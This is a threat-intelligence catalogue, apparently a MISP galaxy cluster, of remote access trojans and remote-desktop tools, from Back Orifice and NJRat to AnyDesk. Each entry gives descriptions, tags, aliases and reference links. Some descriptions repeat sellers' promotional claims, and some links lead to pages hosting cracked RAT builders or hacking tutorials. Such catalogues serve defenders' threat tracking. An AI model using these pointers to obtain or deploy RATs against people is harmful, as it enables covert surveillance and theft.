JadeRAT is just one example of numerous mobile surveillanceware families we’ve seen in recent months, indicating that actors are continuing to incorporate mobile tools in their attack chains. Threat actor, using a tool called JadeRAT, targets the mobile phones of ethnic minorities in China, notably Uighurs, for the purpose of espionage.
The tag is: misp-galaxy:rat="JadeRAT"
JadeRAT has relationships with:
-
similar: misp-galaxy:malpedia="JadeRAT" with estimative-language:likelihood-probability="likely"
Links |
Back Orifice
Back Orifice (often shortened to BO) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location.
The tag is: misp-galaxy:rat="Back Orifice"
Back Orifice is also known as:
-
BO
Links |
Netbus
NetBus or Netbus is a software program for remotely controlling a Microsoft Windows computer system over a network. It was created in 1998 and has been very controversial for its potential of being used as a backdoor.
The tag is: misp-galaxy:rat="Netbus"
Netbus is also known as:
-
NetBus
Links |
PoisonIvy
Poison Ivy is a RAT which was freely available and first released in 2005.
The tag is: misp-galaxy:rat="PoisonIvy"
PoisonIvy is also known as:
-
Poison Ivy
-
Backdoor.Win32.PoisonIvy
-
Gen:Trojan.Heur.PT
PoisonIvy has relationships with:
-
similar: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
-
used-by: misp-galaxy:threat-actor="Anchor Panda" with estimative-language:likelihood-probability="likely"
Links |
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf |
https://www.f-secure.com/v-descs/backdoor_w32_poisonivy.shtml |
Sub7
Sub7, or SubSeven or Sub7Server, is a Trojan horse program.[1] Its name was derived by spelling NetBus backwards ("suBteN") and swapping "ten" with "seven". Sub7 was created by Mobman. Mobman has not maintained or updated the software since 2004, however an author known as Read101 has carried on the Sub7 legacy.
The tag is: misp-galaxy:rat="Sub7"
Sub7 is also known as:
-
SubSeven
-
Sub7Server
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2001-020114-5445-99 |
Beast Trojan
Beast is a Windows-based backdoor trojan horse, more commonly known in the hacking community as a Remote Administration Tool or a "RAT". It is capable of infecting versions of Windows from 95 to 10.
The tag is: misp-galaxy:rat="Beast Trojan"
Links |
Bifrost
Bifrost is a discontinued backdoor trojan horse family of more than 10 variants which can infect Windows 95 through Windows 10 (although on modern Windows systems, after Windows XP, its functionality is limited). Bifrost uses the typical server, server builder, and client backdoor program configuration to allow a remote attacker, who uses the client, to execute arbitrary code on the compromised machine (which runs the server whose behavior can be controlled by the server editor).
The tag is: misp-galaxy:rat="Bifrost"
Links |
https://www.revolvy.com/main/index.php?s=Bifrost%20(trojan%20horse)&item_type=topic |
Blackshades
Blackshades is the name of a malicious trojan horse used by hackers to control computers remotely. The malware targets computers using Microsoft Windows -based operating systems.[2] According to US officials, over 500,000 computer systems have been infected worldwide with the software.
The tag is: misp-galaxy:rat="Blackshades"
Blackshades has relationships with:
-
similar: misp-galaxy:tool="Blackshades" with estimative-language:likelihood-probability="likely"
Links |
https://krebsonsecurity.com/2014/05/blackshades-trojan-users-had-it-coming/ |
DarkComet
DarkComet is a Remote Administration Tool (RAT) which was developed by Jean-Pierre Lesueur (known as DarkCoderSc), an independent programmer and computer security coder from the United Kingdom. Although the RAT was developed back in 2008, it began to proliferate at the start of 2012.
The tag is: misp-galaxy:rat="DarkComet"
DarkComet is also known as:
-
Dark Comet
DarkComet has relationships with:
-
similar: misp-galaxy:tool="Dark Comet" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="DarkComet" with estimative-language:likelihood-probability="likely"
Links |
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/ |
Lanfiltrator
Backdoor.Lanfiltrator is a backdoor Trojan that gives an attacker unauthorized access to a compromised computer. The detection is used for a family of Trojans that are produced by the Backdoor.Lanfiltrator generator.
The tag is: misp-galaxy:rat="Lanfiltrator"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2002-121116-0350-99 |
Win32.HsIdir
Win32.HsIdir is an advanced remote administrator tool systems was done by the original author HS32-Idir, it is the development of the release made since 2006 Copyright © 2006-2010 HS32-Idir.
The tag is: misp-galaxy:rat="Win32.HsIdir"
Links |
Optix Pro
Optix Pro is a configurable remote access tool or Trojan, similar to SubSeven or BO2K
The tag is: misp-galaxy:rat="Optix Pro"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2002-090416-0521-99 |
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20208 |
Back Orifice 2000
Back Orifice 2000 (often shortened to BO2k) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location. The name is a pun on Microsoft BackOffice Server software. Back Orifice 2000 is a new version of the famous Back Orifice backdoor trojan (hacker’s remote access tool). It was created by the Cult of Dead Cow hackers group in July 1999. Originally the BO2K was released as a source code and utilities package on a CD-ROM. There are reports that some files on that CD-ROM were infected with CIH virus, so the people who got that CD might get infected and spread not only the compiled backdoor, but also the CIH virus.
The tag is: misp-galaxy:rat="Back Orifice 2000"
Back Orifice 2000 is also known as:
-
BO2k
Links |
https://home.mcafee.com/VirusInfo/VirusProfile.aspx?key=10229 |
https://www.symantec.com/security_response/writeup.jsp?docid=2000-121814-5417-99 |
RealVNC
The software consists of a server and client application for the Virtual Network Computing (VNC) protocol to control another
The tag is: misp-galaxy:rat="RealVNC"
RealVNC is also known as:
-
VNC Connect
-
VNC Viewer
Links |
Adwind RAT
Backdoor:Java/Adwind is a Java archive (.JAR) file that drops a malicious component onto the machines and runs as a backdoor. When active, it is capable of stealing user information and may also be used to distribute other malware.
The tag is: misp-galaxy:rat="Adwind RAT"
Adwind RAT is also known as:
-
UNRECOM
-
UNiversal REmote COntrol Multi-Platform
-
Frutas
-
AlienSpy
-
Unrecom
-
Jsocket
-
JBifrost
Adwind RAT has relationships with:
-
similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"
Albertino Advanced RAT
The tag is: misp-galaxy:rat="Albertino Advanced RAT"
Links |
Arcom
The malware is a Remote Access Trojan (RAT), known as Arcom RAT, and it is sold on underground forums for $2000.00.
The tag is: misp-galaxy:rat="Arcom"
BlackNix
BlackNix rat is a rat coded in delphi.
The tag is: misp-galaxy:rat="BlackNix"
Links |
Blue Banana
Blue Banana is a RAT (Remote Administration Tool) created purely in Java
The tag is: misp-galaxy:rat="Blue Banana"
Links |
Bozok
Bozok, like many other popular RATs, is freely available. The author of the Bozok RAT goes by the moniker “Slayer616” and has created another RAT known as Schwarze Sonne, or “SS-RAT” for short. Both of these RATs are free and easy to find — various APT actors have used both in previous targeted attacks.
The tag is: misp-galaxy:rat="Bozok"
Bozok has relationships with:
-
similar: misp-galaxy:malpedia="Bozok" with estimative-language:likelihood-probability="likely"
Links |
ClientMesh
ClientMesh is a Remote Administration Application yhich allows a user to control a number of client PCs from around the world.
The tag is: misp-galaxy:rat="ClientMesh"
Links |
https://blog.yakuza112.org/2012/clientmesh-rat-v5-cracked-clean/ |
CyberGate
CyberGate is a powerful, fully configurable and stable Remote Administration Tool coded in Delphi that is continuously getting developed. Using cybergate you can log the victim’s passwords and can also get the screen shots of his computer’s screen.
The tag is: misp-galaxy:rat="CyberGate"
CyberGate has relationships with:
-
similar: misp-galaxy:malpedia="CyberGate" with estimative-language:likelihood-probability="likely"
Links |
http://www.hackersthirst.com/2011/03/cybergate-rat-hacking-facebook-twitter.html |
Dark DDoSeR
The tag is: misp-galaxy:rat="Dark DDoSeR"
Links |
http://meinblogzumtesten.blogspot.lu/2013/05/dark-ddoser-v56c-cracked.html |
DarkRat
In March 2017, Fujitsu Cyber Threat Intelligence uncovered a newly developed remote access tool referred to by its developer as ‘Dark RAT’ – a tool used to steal sensitive information from victims. Offered as a Fully Undetectable build (FUD) the RAT has a tiered price model including 24/7 support and an Android version. Android malware has seen a significant rise in interest and in 2015 this resulted in the arrests of a number of suspects involved in the infamous DroidJack malware.
The tag is: misp-galaxy:rat="DarkRat"
DarkRat is also known as:
-
DarkRAT
Links |
Greame
The tag is: misp-galaxy:rat="Greame"
Links |
https://sites.google.com/site/greymecompany/greame-rat-project |
HawkEye
HawkEye is a popular RAT that can be used as a keylogger, it is also able to identify login events and record the destination, username, and password.
The tag is: misp-galaxy:rat="HawkEye"
Links |
http://securityaffairs.co/wordpress/54837/hacking/one-stop-shop-hacking.html |
jRAT
jRAT is the cross-platform remote administrator tool that is coded in Java, Because its coded in Java it gives jRAT possibilities to run on all operation systems, Which includes Windows, Mac OSX and Linux distributions.
The tag is: misp-galaxy:rat="jRAT"
jRAT is also known as:
-
JacksBot
jRAT has relationships with:
-
similar: misp-galaxy:malpedia="jRAT" with estimative-language:likelihood-probability="likely"
Links |
jSpy
jSpy is a Java RAT.
The tag is: misp-galaxy:rat="jSpy"
jSpy has relationships with:
-
similar: misp-galaxy:malpedia="jSpy" with estimative-language:likelihood-probability="likely"
Links |
LuxNET
Just saying that this is a very badly coded RAT by the biggest skid in this world, that is XilluX. The connection is very unstable, the GUI is always flickering because of the bad Multi-Threading and many more bugs.
The tag is: misp-galaxy:rat="LuxNET"
Links |
NJRat
NJRat is a remote access trojan (RAT), first spotted in June 2013 with samples dating back to November 2012. It was developed and is supported by Arabic speakers and mainly used by cybercrime groups against targets in the Middle East. In addition to targeting some governments in the region, the trojan is used to control botnets and conduct other typical cybercrime activity. It infects victims via phishing attacks and drive-by downloads and propagates through infected USB keys or networked drives. It can download and execute additional malware, execute shell commands, read and write registry keys, capture screenshots, log keystrokes, and spy on webcams.
The tag is: misp-galaxy:rat="NJRat"
NJRat is also known as:
-
Njw0rm
NJRat has relationships with:
-
similar: misp-galaxy:rat="Kiler RAT" with estimative-language:likelihood-probability="likely"
Links |
https://www.cyber.nj.gov/threat-profiles/trojan-variants/njrat |
Pandora
Remote administrator tool that has been developed for Windows operation system. With advanced features and stable structure, Pandora’s structure is based on advanced client / server architecture. was configured using modern technology.
The tag is: misp-galaxy:rat="Pandora"
Links |
Predator Pain
Unlike Zeus, Predator Pain and Limitless are relatively simple keyloggers. They indiscriminately steal web credentials and mail client credentials, as well as capturing keystrokes and screen captures. The output is human readable, which is good if you are managing a few infected machines only, but the design doesn’t scale well when there are a lot of infected machines and logs involved.
The tag is: misp-galaxy:rat="Predator Pain"
Predator Pain is also known as:
-
PredatorPain
Predator Pain has relationships with:
-
similar: misp-galaxy:malpedia="HawkEye Keylogger" with estimative-language:likelihood-probability="likely"
Links |
Punisher RAT
Remote administration tool
The tag is: misp-galaxy:rat="Punisher RAT"
Links |
SpyGate
This is tool that allow you to control your computer form anywhere in world with full support to unicode language.
The tag is: misp-galaxy:rat="SpyGate"
Links |
https://www.symantec.com/security_response/attacksignatures/detail.jsp%3Fasid%3D27950 |
Small-Net
RAT
The tag is: misp-galaxy:rat="Small-Net"
Small-Net is also known as:
-
SmallNet
Links |
Vantom
Vantom is a free RAT with good option and very stable.
The tag is: misp-galaxy:rat="Vantom"
Links |
Xena
Xena RAT is a fully-functional, stable, state-of-the-art RAT, coded in a native language called Delphi, it has almost no dependencies.
The tag is: misp-galaxy:rat="Xena"
Links |
XtremeRAT
This malware has been used in targeted attacks as well as traditional cybercrime. During our investigation we found that the majority of XtremeRAT activity is associated with spam campaigns that typically distribute Zeus variants and other banking-focused malware.
The tag is: misp-galaxy:rat="XtremeRAT"
Links |
https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html |
Netwire
NetWire has a built-in keylogger that can capture inputs from peripheral devices such as USB card readers.
The tag is: misp-galaxy:rat="Netwire"
Links |
https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data |
Gh0st RAT
Gh0st RAT is a Trojan horse for the Windows platform that the operators of GhostNet used to hack into some of the most sensitive computer networks on Earth. It is a cyber spying computer program. .
The tag is: misp-galaxy:rat="Gh0st RAT"
Gh0st RAT has relationships with:
-
similar: misp-galaxy:malpedia="Ghost RAT" with estimative-language:likelihood-probability="likely"
-
used-by: misp-galaxy:threat-actor="Anchor Panda" with estimative-language:likelihood-probability="likely"
Links |
https://www.volexity.com/blog/2017/03/23/have-you-been-haunted-by-the-gh0st-rat-today/ |
Plasma RAT
Plasma RAT’s stub is fairly advanced, having many robust features. Some of the features include botkilling, Cryptocurrencies Mining (CPU and GPU), persistence, anti-analysis, torrent seeding, AV killer, 7 DDoS methods and a keylogger. The RAT is coded in VB.Net. There is also a Botnet version of it (Plasma HTTP), which is pretty similar to the RAT version.
The tag is: misp-galaxy:rat="Plasma RAT"
Links |
http://www.zunzutech.com/blog/security/analysis-of-plasma-rats-source-code/ |
Babylon
Babylon is a highly advanced remote administration tool with no dependencies. The server is developed in C++ which is an ideal language for high performance and the client is developed in C#(.Net Framework 4.5)
The tag is: misp-galaxy:rat="Babylon"
Links |
Imminent Monitor
RAT
The tag is: misp-galaxy:rat="Imminent Monitor"
Links |
DroidJack
DroidJack is a RAT (Remote Access Trojan/Remote Administration Tool) nature of remote accessing, monitoring and managing tool (Java based) for Android mobile OS. You can use it to perform a complete remote control to any Android devices infected with DroidJack through your PC. It comes with powerful function and user-friendly operation – even allows attackers to fully take over the mobile phone and steal, record the victim’s private data wilfully.
The tag is: misp-galaxy:rat="DroidJack"
Links |
Quasar RAT
Quasar is a fast and light-weight remote administration tool coded in C#. Providing high stability and an easy-to-use user interface
The tag is: misp-galaxy:rat="Quasar RAT"
Quasar RAT has relationships with:
-
similar: misp-galaxy:malpedia="Quasar RAT" with estimative-language:likelihood-probability="likely"
Links |
Dendroid
Dendroid is malware that affects Android OS and targets the mobile platform. It was first discovered in early of 2014 by Symantec and appeared in the underground for sale for $300. Some things were noted in Dendroid, such as being able to hide from emulators at the time. When first discovered in 2014 it was one of the most sophisticated Android remote administration tools known at that time. It was one of the first Trojan applications to get past Google’s Bouncer and caused researchers to warn about it being easier to create Android malware due to it. It also seems to have follow in the footsteps of Zeus and SpyEye by having simple-to-use command and control panels. The code appeared to be leaked somewhere around 2014. It was noted that an apk binder was included in the leak, which provided a simple way to bind Dendroid to legitimate applications.
The tag is: misp-galaxy:rat="Dendroid"
Dendroid has relationships with:
-
similar: misp-galaxy:mitre-malware="Dendroid - S0301" with estimative-language:likelihood-probability="likely"
Links |
Ratty
A Java R.A.T. program
The tag is: misp-galaxy:rat="Ratty"
Ratty has relationships with:
-
similar: misp-galaxy:malpedia="Ratty" with estimative-language:likelihood-probability="likely"
Links |
Arabian-Attacker RAT
The tag is: misp-galaxy:rat="Arabian-Attacker RAT"
Links |
Androrat
Androrat is a client/server application developed in Java Android for the client side and in Java/Swing for the Server.
The tag is: misp-galaxy:rat="Androrat"
Links |
https://latesthackingnews.com/2015/05/31/how-to-hack-android-phones-with-androrat/ |
Schwarze-Sonne-RAT
The tag is: misp-galaxy:rat="Schwarze-Sonne-RAT"
Schwarze-Sonne-RAT is also known as:
-
SS-RAT
-
Schwarze Sonne
Links |
Batch NET
The tag is: misp-galaxy:rat="Batch NET"
Spynet
Spy-Net is a software that allow you to control any computer in world using Windows Operating System.He is back using new functions and good options to give you full control of your remote computer.Stable and fast, this software offer to you a good interface, creating a easy way to use all his functions
The tag is: misp-galaxy:rat="Spynet"
Links |
Atelier Web Remote Commander
The tag is: misp-galaxy:rat="Atelier Web Remote Commander"
Links |
drat
A distributed, parallelized (Map Reduce) wrapper around Apache™ RAT to allow it to complete on large code repositories of multiple file types where Apache™ RAT hangs forev
The tag is: misp-galaxy:rat="drat"
Links |
MoSucker
MoSucker is a powerful backdoor - hacker’s remote access tool.
The tag is: misp-galaxy:rat="MoSucker"
Links |
Theef
The tag is: misp-galaxy:rat="Theef"
Links |
http://www.grayhatforum.org/thread-4373-post-5213.html#pid5213 |
http://www.spy-emergency.com/research/T/Theef_Download_Creator.html |
ProRat
ProRat is a Microsoft Windows based backdoor trojan, more commonly known as a Remote Administration Tool. As with other trojan horses it uses a client and server. ProRat opens a port on the computer which allows the client to perform numerous operations on the server (the machine being controlled).
The tag is: misp-galaxy:rat="ProRat"
Links |
Setro
The tag is: misp-galaxy:rat="Setro"
Links |
https://sites.google.com/site/greymecompany/setro-rat-project |
Indetectables RAT
The tag is: misp-galaxy:rat="Indetectables RAT"
Links |
http://www.connect-trojan.net/2015/03/indetectables-rat-v.0.5-beta.html |
Blizzard
The tag is: misp-galaxy:rat="Blizzard"
Links |
http://www.connect-trojan.net/2014/10/blizzard-rat-lite-v1.3.1.html |
death
The tag is: misp-galaxy:rat="death"
xRAT
Free, Open-Source Remote Administration Tool. xRAT 2.0 is a fast and light-weight Remote Administration Tool coded in C# (using .NET Framework 2.0).
The tag is: misp-galaxy:rat="xRAT"
Links |
Biodox
The tag is: misp-galaxy:rat="Biodox"
Links |
http://sakhackingarticles.blogspot.lu/2014/08/biodox-rat.html |
Offence
Offense RAT is a free renote administration tool made in Delphi 9.
The tag is: misp-galaxy:rat="Offence"
Links |
Apocalypse
The tag is: misp-galaxy:rat="Apocalypse"
Apocalypse has relationships with:
-
similar: misp-galaxy:ransomware="Apocalypse" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Apocalypse" with estimative-language:likelihood-probability="likely"
Links |
Nuclear RAT
Nuclear RAT (short for Nuclear Remote Administration Tool) is a backdoor trojan horse that infects Windows NT family systems (Windows 2000, XP, 2003).
The tag is: misp-galaxy:rat="Nuclear RAT"
Links |
http://www.nuclearwintercrew.com/Products-View/21/Nuclear_RAT_2.1.0/ |
Ozone
C++ REMOTE CONTROL PROGRAM
The tag is: misp-galaxy:rat="Ozone"
Links |
Kiler RAT
This remote access trojan (RAT) has capabilities ranging from manipulating the registry to opening a reverse shell. From stealing credentials stored in browsers to accessing the victims webcam. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread utilizing physic devices, such as USB drives, but also to use the victim as a pivot point to gain more access laterally throughout the network. This remote access trojan could be classified as a variant of the well known njrat, as they share many similar features such as their display style, several abilities and a general template for communication methods . However, where njrat left off KilerRat has taken over. KilerRat is a very feature rich RAT with an active development force that is rapidly gaining in popularity amongst the middle eastern community and the world.
The tag is: misp-galaxy:rat="Kiler RAT"
Kiler RAT is also known as:
-
Njw0rm
Kiler RAT has relationships with:
-
similar: misp-galaxy:rat="NJRat" with estimative-language:likelihood-probability="likely"
Links |
Brat
The tag is: misp-galaxy:rat="Brat"
MINI-MO
The tag is: misp-galaxy:rat="MINI-MO"
Lost Door
Unlike most attack tools that one can only find in cybercriminal underground markets, Lost Door is very easy to obtain. It’s promoted on social media sites like YouTube and Facebook. Its maker, “OussamiO,” even has his own Facebook page where details on his creation can be found. He also has a dedicated blog (hxxp://lost-door[.]blogspot[.]com/) where tutorial videos and instructions on using the RAT is found. Any cybercriminal or threat actor can purchase and use the RAT to launch attacks.
The tag is: misp-galaxy:rat="Lost Door"
Lost Door is also known as:
-
LostDoor
Links |
https://www.cyber.nj.gov/threat-profiles/trojan-variants/lost-door-rat |
Loki RAT
Loki RAT is a php RAT that means no port forwarding is needed for this RAT, If you dont know how to setup this RAT click on tutorial.
The tag is: misp-galaxy:rat="Loki RAT"
Links |
SpyCronic
The tag is: misp-galaxy:rat="SpyCronic"
Links |
http://perfect-conexao.blogspot.lu/2014/09/spycronic-1021.html |
http://www.connect-trojan.net/2013/09/spycronic-v1.02.1.html |
Pupy
Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python
The tag is: misp-galaxy:rat="Pupy"
Pupy has relationships with:
-
similar: misp-galaxy:mitre-tool="Pupy - S0192" with estimative-language:likelihood-probability="likely"
Links |
Nova
Nova is a proof of concept demonstrating screen sharing over UDP hole punching.
The tag is: misp-galaxy:rat="Nova"
Links |
BD Y3K RAT
The tag is: misp-galaxy:rat="BD Y3K RAT"
BD Y3K RAT is also known as:
-
Back Door Y3K RAT
-
Y3k
Turkojan
Turkojan is a remote administration and spying tool for Microsoft Windows operating systems.
The tag is: misp-galaxy:rat="Turkojan"
Links |
TINY
TINY is a set of programs that lets you control a DOS computer from any Java-capable machine over a TCP/IP connection. It is comparable to programs like VNC, CarbonCopy, and GotoMyPC except that the host machine is a DOS computer rather than a Windows one.
The tag is: misp-galaxy:rat="TINY"
Links |
SharK
sharK is an advanced reverse connecting, firewall bypassing remote administration tool written in VB6. With sharK you will be able to administrate every PC (using Windows OS) remotely.
The tag is: misp-galaxy:rat="SharK"
SharK is also known as:
-
SHARK
-
Shark
SharK has relationships with:
-
similar: misp-galaxy:ransomware="Shark" with estimative-language:likelihood-probability="likely"
Snowdoor
Backdoor.Snowdoor is a Backdoor Trojan Horse that allows unauthorized access to an infected computer. It creates an open C drive share with its default settings. By default, the Trojan listens on port 5,328.
The tag is: misp-galaxy:rat="Snowdoor"
Snowdoor is also known as:
-
Backdoor.Blizzard
-
Backdoor.Fxdoor
-
Backdoor.Snowdoor
-
Backdoor:Win32/Snowdoor
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2003-022018-5040-99 |
SpyNote
Android RAT
The tag is: misp-galaxy:rat="SpyNote"
SpyNote has relationships with:
-
similar: misp-galaxy:malpedia="SpyNote" with estimative-language:likelihood-probability="likely"
Links |
ZOMBIE SLAYER
The tag is: misp-galaxy:rat="ZOMBIE SLAYER"
HTTP WEB BACKDOOR
The tag is: misp-galaxy:rat="HTTP WEB BACKDOOR"
NET-MONITOR PRO
Net Monitor for Employees lets you see what everyone’s doing - without leaving your desk. Monitor the activity of all employees. Plus you can share your screen with your employees PCs, making demos and presentations much easier.
The tag is: misp-galaxy:rat="NET-MONITOR PRO"
Links |
DameWare Mini Remote Control
Affordable remote control software for all your customer support and help desk needs.
The tag is: misp-galaxy:rat="DameWare Mini Remote Control"
DameWare Mini Remote Control is also known as:
-
dameware
Links |
Remote Utilities
Remote Utilities is a free remote access program with some really great features. It works by pairing two remote computers together with what they call an "Internet ID." You can control a total of 10 PCs with Remote Utilities.
The tag is: misp-galaxy:rat="Remote Utilities"
Links |
Ammyy Admin
Ammyy Admin is a completely portable remote access program that’s extremely simple to setup. It works by connecting one computer to another via an ID supplied by the program.
The tag is: misp-galaxy:rat="Ammyy Admin"
Ammyy Admin is also known as:
-
Ammyy
Links |
Ultra VNC
UltraVNC works a bit like Remote Utilities, where a server and viewer is installed on two PCs, and the viewer is used to control the server.
The tag is: misp-galaxy:rat="Ultra VNC"
Links |
AeroAdmin
AeroAdmin is probably the easiest program to use for free remote access. There are hardly any settings, and everything is quick and to the point, which is perfect for spontaneous support.
The tag is: misp-galaxy:rat="AeroAdmin"
Links |
Windows Remote Desktop
Windows Remote Desktop is the remote access software built into the Windows operating system. No additional download is necessary to use the program.
The tag is: misp-galaxy:rat="Windows Remote Desktop"
RemotePC
RemotePC, for good or bad, is a more simple free remote desktop program. You’re only allowed one connection (unless you upgrade) but for many of you, that’ll be just fine.
The tag is: misp-galaxy:rat="RemotePC"
Links |
Seecreen
Seecreen (previously called Firnass) is an extremely tiny (500 KB), yet powerful free remote access program that’s absolutely perfect for on-demand, instant support.
The tag is: misp-galaxy:rat="Seecreen"
Seecreen is also known as:
-
Firnass
Links |
Chrome Remote Desktop
Chrome Remote Desktop is an extension for the Google Chrome web browser that lets you setup a computer for remote access from any other Chrome browser.
The tag is: misp-galaxy:rat="Chrome Remote Desktop"
Links |
AnyDesk
AnyDesk is a remote desktop program that you can run portably or install like a regular program.
The tag is: misp-galaxy:rat="AnyDesk"
Links |
LiteManager
LiteManager is another remote access program, and it’s strikingly similar to Remote Utilities, which I explain on the first page of this list. However, unlike Remote Utilities, which can control a total of only 10 PCs, LiteManager supports up to 30 slots for storing and connecting to remote computers, and also has lots of useful features.
The tag is: misp-galaxy:rat="LiteManager"
Links |
Comodo Unite
Comodo Unite is another free remote access program that creates a secure VPN between multiple computers. Once a VPN is established, you can remotely have access to applications and files through the client software.
The tag is: misp-galaxy:rat="Comodo Unite"
Links |
https://www.comodo.com/home/download/download.php?prod=comodounite |
ShowMyPC
ShowMyPC is a portable and free remote access program that’s nearly identical to UltraVNC but uses a password to make a connection instead of an IP address.
The tag is: misp-galaxy:rat="ShowMyPC"
Links |
join.me
join.me is a remote access program from the producers of LogMeIn that provides quick access to another computer over an internet browser.
The tag is: misp-galaxy:rat="join.me"
Links |
DesktopNow
DesktopNow is a free remote access program from NCH Software. After optionally forwarding the proper port number in your router, and signing up for a free account, you can access your PC from anywhere through a web browser.
The tag is: misp-galaxy:rat="DesktopNow"
Links |
BeamYourScreen
Another free and portable remote access program is BeamYourScreen. This program works like some of the others in this list, where the presenter is given an ID number they must share with another user so they can connect to the presenter’s screen.
The tag is: misp-galaxy:rat="BeamYourScreen"
Links |
Casa RAT
The tag is: misp-galaxy:rat="Casa RAT"
Bandook RAT
Bandook is a FWB#++ reverse connection rat (Remote Administration Tool), with a small size server when packed 30 KB, and a long list of amazing features
The tag is: misp-galaxy:rat="Bandook RAT"
Links |
http://www.nuclearwintercrew.com/Products-View/57/Bandook_RAT_v1.35NEW_/[http://www.nuclearwintercrew.com/Products-View/57/Bandook_RAT_v1.35NEW_/] |
Cerberus RAT
The tag is: misp-galaxy:rat="Cerberus RAT"
Links |
http://www.hacktohell.org/2011/05/setting-up-cerberus-ratremote.html |
Syndrome RAT
The tag is: misp-galaxy:rat="Syndrome RAT"
Snoopy
Snoopy is a Remote Administration Tool. Software for controlling user computer remotely from other computer on local network or Internet.
The tag is: misp-galaxy:rat="Snoopy"
Links |
5p00f3r.N$ RAT
The tag is: misp-galaxy:rat="5p00f3r.N$ RAT"
P. Storrie RAT
The tag is: misp-galaxy:rat="P. Storrie RAT"
-
Storrie RAT is also known as:
-
P.Storrie RAT
-
xHacker Pro RAT
The tag is: misp-galaxy:rat="xHacker Pro RAT"
NetDevil
Backdoor.NetDevil allows a hacker to remotely control an infected computer.
The tag is: misp-galaxy:rat="NetDevil"
NetDevil has relationships with:
-
similar: misp-galaxy:rat="Net Devil" with estimative-language:likelihood-probability="likely"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2002-021310-3452-99 |
NanoCore
In September of 2015, a DigiTrust client visited a web link that was providing an Adobe Flash Player update. The client, an international retail organization, attempted to download and run what appeared to be a regular update. The computer trying to download this update was a back office system that processed end of day credit card transactions. This system also had the capability of connecting to the corporate network which contained company sales reports. DigiTrust experts were alerted to something malicious and blocked the download. The investigation found that what appeared to be an Adobe Flash Player update, was a Remote Access Trojan called NanoCore. If installation had been successful, customer credit card data, personal information, and internal sales information could have been captured and monetized. During the analysis of NanoCore, our experts found that there was much more to this RAT than simply being another Remote Access Trojan.
The tag is: misp-galaxy:rat="NanoCore"
NanoCore has relationships with:
-
similar: misp-galaxy:tool="NanoCoreRAT" with estimative-language:likelihood-probability="likely"
Links |
https://www.digitrustgroup.com/nanocore-not-your-average-rat/ |
Cobian RAT
The Zscaler ThreatLabZ research team has been monitoring a new remote access Trojan (RAT) family called Cobian RAT since February 2017. The RAT builder for this family was first advertised on multiple underground forums where cybercriminals often buy and sell exploit and malware kits. This RAT builder caught our attention as it was being offered for free and had lot of similarities to the njRAT/H-Worm family
The tag is: misp-galaxy:rat="Cobian RAT"
Cobian RAT has relationships with:
-
similar: misp-galaxy:malpedia="Cobian RAT" with estimative-language:likelihood-probability="likely"
Links |
https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat |
Netsupport Manager
NetSupport Manager continues to deliver the very latest in remote access, PC support and desktop management capabilities. From a desktop, laptop, tablet or smartphone, monitor multiple systems in a single action, deliver hands-on remote support, collaborate and even record or play back sessions. When needed, gather real-time hardware and software inventory, monitor services and even view system config remotely to help resolve issues quickly.
The tag is: misp-galaxy:rat="Netsupport Manager"
Links |
Vortex
The tag is: misp-galaxy:rat="Vortex"
Assassin
The tag is: misp-galaxy:rat="Assassin"
Net Devil
The tag is: misp-galaxy:rat="Net Devil"
Net Devil is also known as:
-
NetDevil
Net Devil has relationships with:
-
similar: misp-galaxy:rat="NetDevil" with estimative-language:likelihood-probability="likely"
Links |
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20702 |
Greek Hackers RAT
The tag is: misp-galaxy:rat="Greek Hackers RAT"
Links |
http://www.connect-trojan.net/2013/04/greek-hackers-rat-1.0.html?m=0 |
MRA RAT
The tag is: misp-galaxy:rat="MRA RAT"
Links |
http://www.connect-trojan.net/2013/04/greek-hackers-rat-1.0.html?m=0 |
Sparta RAT
The tag is: misp-galaxy:rat="Sparta RAT"
Links |
http://www.connect-trojan.net/2015/09/sparta-rat-1.2-by-azooz-ejram.html |
LokiTech
The tag is: misp-galaxy:rat="LokiTech"
MadRAT
The tag is: misp-galaxy:rat="MadRAT"
Tequila Bandita
The tag is: misp-galaxy:rat="Tequila Bandita"
Links |
http://www.connect-trojan.net/2013/07/tequila-bandita-1.3b2.html |
Toquito Bandito
The tag is: misp-galaxy:rat="Toquito Bandito"
Links |
http://www.megasecurity.org/trojans/t/toquitobandito/Toquitobandito_all.html |
MofoTro
MofoTro is a new rat coded by Cool_mofo_2.
The tag is: misp-galaxy:rat="MofoTro"
ComRAT
ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla.
The tag is: misp-galaxy:rat="ComRAT"
ComRAT has relationships with:
-
similar: misp-galaxy:mitre-malware="ComRAT - S0126" with estimative-language:likelihood-probability="likely"
-
